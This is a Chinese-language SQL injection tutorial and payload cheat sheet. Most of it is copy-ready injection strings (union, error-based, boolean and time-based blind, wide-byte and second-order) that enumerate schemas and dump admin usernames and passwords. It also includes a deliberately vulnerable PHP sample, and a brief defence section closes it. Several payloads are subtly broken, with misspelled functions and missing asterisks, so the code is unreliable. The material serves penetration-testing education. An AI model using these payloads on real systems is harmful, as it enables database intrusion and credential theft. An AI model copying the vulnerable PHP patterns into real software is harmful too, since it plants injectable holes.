SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

目录

SQL注入分类

SQL注入按位置分类

•GET

•POST

•HTTP头部注入

•Cookie注入

SQL注入按数据类型分类

整型注入 (不需要闭合,不一定需要注释)

字符串类型注入 (需要闭合,或者需要注释)

SQL注入效果分类

UNION query SQL injection(可联合查询注入)

Error-based SQL injection(报错型注入)

Boolean-based blind SQL injection(布尔型注入)

Time-based blind SQL injection(基于时间延迟注入)

Wide char SQL injection (宽字节注入)

Twice SQL injection (二次注入)

Stacked queries SQL injection(可多语句查询注入)

判断整型或字符型注入

and 1=1 / and 1=2 回显页面不同 (真假判断)

‘ ” 引号判断(单引号判断或者双引号)显示数据库错误信息或者页面回显不同(整形,字符串类型判断)

\ (转义符)

-1/+1 回显下一个或上一个页面(整型判断)

and sleep(5) (判断页面返回时间)

联合注入

UNION query SQL injection

1、判断列数

order by 10

order by 20

……

GROUP BY 10

2、判断显示位

php?id=-1 union select 1,2,3,4,5

php?id=1 like”[%23]” union –+%0a select 1,2,3,4,5

3、获取当数据库名称和当前连接数据库的用户

php?id=-1 union select 1,2,databaes(),4,5

php?id=-1 union select 1,2,user(),4,5

4、列出所有数据库

limit 一个一个打印出来库名

select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

group_concat 一次性全部显示

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

5、列出(数据库:test)中所有的表

limit 一个一个打印出来字段名

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=’test’ limit 0,1

group_concat 一次性全部显示

select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374

注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

6、列出(数据库:test 表:admin )中所有的字段

limit 一个一个打印出来

select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=’test’ and TABLE_NAME=’t10′ limit 0,1

group_concat 一次性全部显示

select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

7、列出(数据库:test 表:admin )中的数据

limit 一个一个打印出来

select username,passwd from test.admin limit 0,1

group_concat 把 一次性全部打印

select group_concat(concat(username,0x20,passwd)) from test.admin

报错注入

Error-based SQL injection

select count(),(concat(floor(rand(0)2),(select version())))x from mysql.user group by x;

为什么会出现报错?

我们看一下报错的内容:Duplicate entry ‘15.5.53’ for key ‘group_key’。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表

1、通过floor报错

and(select 1 from (select count(),concat(concat(payload),floor(rand(0)2))x from information_schema.tables group by x)y)

and ( Select count() from information_schema.tables group by concat((payload),floor(rand(0)2)))

获取有多少个数据库

and (select 1 from(select count(),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

通过limit 获取所有数据库名

and (select 1 from(select count(),concat((select (select (select concat(0x7e, schema_name, 0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

select 1 from dual where 1= 1 and (select 1 from

(select count(),concat( (SELECT user()),floor(rand(0)2))x from exam.score group by x)a)

2、通过ExtractValue报错

函数解释:

  extractvalue():从目标XML中返回包含所查询值的字符串。

  EXTRACTVALUE (XML_document, XPath_string);

  第一个参数:XML_document是String格式**(如果我们不写字符串格式而写一个数字1,那么就会报错,将后面的语句查询出来.)**,为XML文档对象的名称,文中为Doc

  第二个参数:XPath_string (Xpath格式的字符串)

  concat:返回结果为连接参数产生的字符串。

and extractvalue(1, (concat(0x7e,(payload),0x7e))

and extractvalue(1, concat(0x7e,(select @@version),0x7e))

他会从第一个特殊字符开始显示错误

3、通过UpdateXML报错

and updatexml(1,(payload),1)

and updatexml(1, (concat(0x7e,(select user()),0x7e)),1)

布尔注入

Boolean-based blind SQL injection

需要掌握的几个函数:

exists( ) ascii( ) substr( ) Ord() Mid() length() Left() Regexp() Like()

•and exists (select user())

•and substr((select user()), 1, 1)=’r’

•and substr((select user()), 2, 1)=’o’

•and ascii(“r”)=114

•and ascii(substr((select user()), 1, 1))>114

•and ascii(substr((select user()), 2, 1))>111

?id=1′ and exists(select * from information_schema.tables) –+

?id=1′ and (select length(version()))=6 –+ //判断version()返回字符串长度。

?id=1′ and (select count(table_schema) from information_schema.tables) > 8 –+

//判断有多少数据库

?id=1′ and (select ascii(substr((select table_schema from information_schema.tables limit 0, 1), 1, 1)))>105 –+ //判断第一个库的第一个字符

判断库或者表的总体长度 SELECT LENGTH((payload)) > 6

时间注入

Time-based blind SQL injection

if(Condition,A,B)函数

当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。

eg:if(ascii(substr(database(), 1, 1))=104, sleep(5), 1)

if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)

if((select count(distinct table_schema) from information_schema.tables)=17, sleep(5), 1)//获取当前数据库个数

if(ascii(substr((select user()), 1, 1))=114, sleep(5), 1) //获取当前连接数据库用户第一个字母

if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105, sleep(5), 1) //判断第一个数据库第一个字符。

if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 2, 1))=110, sleep(5), 1) //判断第一个数据库第二个字符。

宽字节注入

什么是宽字节

GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节

如果使用了类似于set names gbk这样得语句,此时mysql数据库就会将

Ascii大于128(%df)得字符当作是汉字字符得一部分,从而能吃掉\,引入单引号或者双引号

MySQL**的字符集转换过程**

\1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

\2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

• 使用每个数据字段的CHARACTER SET设定值;

• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);

• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

• 若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results。

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一

次编码。

<?php
$link = mysqli_connect('localhost','root','root','blog');
$id = $_GET['id'];
mysqli_query("SET NAMES 'GBK'",$link);
mysqli_set_charset($link,'gbk');
$id = addslashes($_GET['id']);
$sql = "select * from users where id = '$id'";
echo $sql;
echo '<br>---------------<br>';
$result = mysqli_query($link,$sql);
while ($row = mysqli_fetch_assoc($result)){
    echo $row['username'].''.$row['password'];
}
//设置cookie
setcookie("username","admin",time()+3600,'/');
//取出cookie
$username = $_COOKIE['username'];
$sql2 = "select * from users where username = '$username'";
$result = mysqli_query($link,$sql2);
while ($row = mysqli_fetch_assoc($result)){
    echo $row['username'].''.$row['password'];
}
mysqli_close($link);
?>

以上代码中:mysqli_set_charset($link,’gbk’); //设置了GBK编码

二次注入

二次注入需要具备的两个条件:

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如**mysql_escape_stringmysql_real_escape_string转义)**

(2)数据库对直接取出恶意数据并没有进行过滤

总结表格

注入类型显示方式原理示例
联合注入数据显示位利用union关键字将想要查询的信息放在显示位id=-1′ union select 1,2,database()#
报错注入报错信息显示利用内置函数的报错信息将要查询的信息显示出来id=1′ and extractvalue(1, (concat(0x7e,(database()),0x7e))#
布尔注入返回页面是否正常利用页面是否正常来判断查询结果是否正确id=1′ and (select ascii(substr((database()), 1, 1)))>10#
时间注入返回时间是否正常利用页面显示时间来判断查询结果是否正确id=1′ and if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)#
宽字节注入搭配使用宽字节编码格式大于128ascii会吃掉转义符逃过过滤id=-1%df’ union select 1,2,database()%df#
二次注入搭配使用将原用户名加上闭合和注释注册来实现登录原用户注册admin’# 登录后为admin

SQL注入防御

防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库

的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:

基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询

对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“\”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御

数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。

数据长度也应该做严格限制,可以防止较长的SQL注入语句

避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入

每个数据层编码统一,防止过滤模型被绕过

使用预编译的处理方式处理拼接了用户参数的SQL语句

在参数即将进入数据库执行之前,对SQL语句的语义进行完整性检查,确认语义没有发生变化

定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行

相关函数

整型Intval()

字符型addslashes()